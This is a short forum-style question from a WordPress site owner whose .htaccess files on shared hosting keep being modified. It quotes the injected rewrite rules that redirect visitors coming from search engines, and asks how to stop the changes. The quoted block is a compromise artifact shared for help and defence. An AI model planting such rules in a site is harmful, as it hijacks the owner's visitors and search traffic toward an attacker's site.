My .htaccess file keeps getting modified

I have several WP sites on a godaddy shared server. Over the last few weeks my .htaccess files on all my WP site keep getting modified with this:

<IfModule mod_rewrite.c>
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^.*$ index.php [L]
</IfModule>

What this is doing is causing re-directs to someone else’s website when someone clicks on a search engine link about my site.

Is there anyway to lock down my sites so the .htaccess file can not be changed? Or is there another way to combat this problem.

Thanks for your assistance.